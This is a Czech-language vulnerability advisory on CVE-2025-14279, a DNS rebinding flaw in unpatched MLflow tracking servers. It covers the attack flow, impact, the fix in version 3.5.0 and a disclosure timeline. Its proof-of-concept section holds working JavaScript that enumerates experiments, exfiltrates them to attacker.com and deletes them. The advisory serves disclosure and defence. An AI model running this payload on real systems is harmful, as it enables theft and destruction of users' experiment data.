Autor: Evan Harris
Riziko: Vysoké (CVSS 8.1, CVE-2025-14279)
Dotčená komponenta: REST server MLflow (mlflow/mlflow), verze až do 3.4.0 včetně

Ve zkratce

REST server MLflow nevalidoval u příchozích požadavků hlavičku Origin ani hlavičku Host, čímž zůstával otevřený útoku DNS rebinding. Oběti, která lokálně spustí mlflow server a poté navštíví škodlivou webovou stránku, se může prohlížeč proměnit v proxy, jež dosáhne na rozhraní loopback a obejde přitom Same-Origin Policy. Protože REST API nemá žádnou autentizaci, útočník získá plný přístup pro čtení i zápis: může vyjmenovat experimenty, exfiltrovat data na externí hostitel a experimenty zcela smazat. Problém dostal označení CVE-2025-14279 (CVSS 8.1, vysoké) a byl opraven v MLflow 3.5.0, jež doplňuje validaci hlavičky Host a blokování cross-origin požadavků. Uživatelé by měli aktualizovat na verzi 3.5.0 nebo novější.

Stejným způsobem selhávají i další nástroje popsané na tomto webu: Zranitelnost DNS rebinding v transportu SSE serveru Vet MCP a Neo4j MCP Cypher Server je zranitelný převzetím databáze pomocí DNS rebindingu. Samostatný problém v MLflow, zveřejněný téhož dne, popisuje Vzdálené spuštění kódu prostřednictvím deserializace GenAI scorerů v MLflow.

Souvislosti

Tracking server MLflow vystavuje REST API (obvykle na http://localhost:5000), které webové rozhraní a klientské knihovny používají k vytváření, vyhledávání, aktualizaci a mazání experimentů a běhů. Ve výchozím nastavení server běží bez autentizace, s předpokladem, že navázání na localhost jej udržuje soukromým.

Tento předpoklad selhává při DNS rebindingu. Same-Origin Policy prohlížeče má zabránit tomu, aby stránka doručená z attacker.com četla odpovědi z localhost:5000, ale rebinding ji obchází tím, že po načtení stránky změní, na co se hostname překládá. Protože server MLflow přijímal požadavky bez kontroly jejich původu, mohla lokální API ovládat jakákoli webová stránka, kterou oběť navštívila.

Přehled

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000] B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL] C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface] D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request] E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"] F --> G[Exfiltrate experiment data
to attacker.com] F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"] style A fill:#fff3e0 style B fill:#ffebee style C fill:#ffebee style D fill:#ffebee style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#ffcdd2 style H fill:#ffcdd2

Scénář útoku

  1. Oběť naklonuje MLflow a lokálně spustí server s výchozí konfigurací (mlflow server), přičemž po cestě vytvoří několik experimentů.
  2. Útočník postaví laboratoř pro DNS rebinding, například Singularity of Origin od NCC Group, a vloží níže uvedený payload do adresáře payloadů daného frameworku.
  3. Oběť navštíví útočníkovu webovou stránku a setrvá na ní dostatečně dlouho (méně než minutu), aby k přesměrování došlo.
  4. Útočníkův DNS server nejprve přeloží hostname na svou vlastní IP, aby se payload načetl, a na pozdější dotazy pak odpovídá 127.0.0.1. Prohlížeč použije název z cache znovu, takže volání fetch na stránce se tiše přesměrují na localhost:5000, přičemž si ponechají původní origin.
  5. Protože server MLflow neprovádí žádnou validaci Origin ani Host, požadavky uspějí. Útočník vyjmenuje experimenty, odešle data na attacker.com a experimenty smaže.

Proof of Concept

Níže uvedený payload se zaregistruje u frameworku pro DNS rebinding. Identifikuje cíl jako server MLflow, vyjmenuje experimenty přes neautentizované REST API, exfiltruje výsledky na hostitele ovládaného útočníkem a poté každý experiment smaže. Původní proof of concept je zde zhuštěn na své funkční kroky.

const MlFlow = () => {
    let attackExecuted = false;

    async function attack() {
        if (attackExecuted) return;
        const base = `http://${window.location.hostname}:5000`;

        // Read access: enumerate experiments via the unauthenticated REST API
        const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
        });
        const { experiments } = await searchResponse.json();
        if (!experiments?.length) { attackExecuted = true; return; }

        // Exfiltrate the experiment data to the attacker
        fetch('https://attacker.com/messages', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ experimentData: experiments }),
        });

        // Write access: delete every experiment
        for (const experiment of experiments) {
            await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ experiment_id: experiment.experiment_id }),
            });
            await new Promise(r => setTimeout(r, 500));
        }
        attackExecuted = true;
    }

    // Fingerprint the rebound target as an MLflow server before attacking
    async function isService() {
        const response = await fetch(`http://${window.location.hostname}:5000`);
        const body = await response.text();
        return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
    }

    return { attack, isService };
};

// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();

Dopad

  • Exfiltrace dat: metadata experimentů se čtou přes experiments/search a odesílají se na hostitele ovládaného útočníkem.
  • Zničení dat: experimenty se mažou přes experiments/delete.
  • Manipulace s daty: stejný neautentizovaný přístup pro zápis umožňuje i aktualizační operace nad experimenty.
  • Nejsou potřeba žádné přihlašovací údaje: útok funguje proti výchozímu nasazení mlflow server a vyžaduje pouze, aby oběť navštívila škodlivou stránku, zatímco server běží.

Reakce MLflow

Poté co jsme problém nahlásili prostřednictvím procesu koordinovaného zveřejnění MLflow, správci jej vyřešili v pull requestu #17910.

Oprava zavádí pro server bezpečnostní vrstvu middleware, která:

  • Validuje hlavičku Host proti seznamu povolených hodnot (ve výchozím nastavení localhost a rozsahy privátních IP), aby zablokovala DNS rebinding.
  • Blokuje cross-origin požadavky měnící stav (POST, PUT, DELETE, PATCH) přicházející z jiných než localhost originů.
  • Přidává obranné hlavičky odpovědí (X-Frame-Options: SAMEORIGIN, X-Content-Type-Options: nosniff).

Pro nasazení, která legitimně potřebují širší přístup, je k dispozici nová konfigurace, včetně --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) a --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). Ochrany byly dodány v MLflow 3.5.0 a problému bylo později přiděleno CVE-2025-14279 (CVSS 8.1, vysoké; CWE-346, Origin Validation Error).

Doporučení

Pro koncové uživatele

  • Aktualizujte na MLflow 3.5.0 nebo novější.
  • Ponechte výchozí nastavení --allowed-hosts a --cors-allowed-origins, pokud nemáte konkrétní důvod je rozšířit, a nikdy nevypínejte bezpečnostní middleware na vystaveném serveru.
  • Nenavazujte server MLflow na veřejnou nebo nedůvěryhodnou síť a předřaďte před něj autentizaci nebo reverzní proxy, pokud musí být dosažitelný i mimo localhost.
  • Považujte lokálně navázaný server za dosažitelný z prohlížeče: při procházení nedůvěryhodných stránek zavřete nebo izolujte lokální instance MLflow.

Časová osa

Datum Událost
22. září 2025 Zranitelnost nahlášena správcům MLflow prostřednictvím koordinovaného zveřejnění (issue #17877)
6. října 2025 MLflow začleňuje opravu (PR #17910), vydáno ve verzi v3.5.0
12. ledna 2026 Zveřejněno CVE-2025-14279 (CVSS 8.1, vysoké)
8. června 2026 Veřejné zveřejnění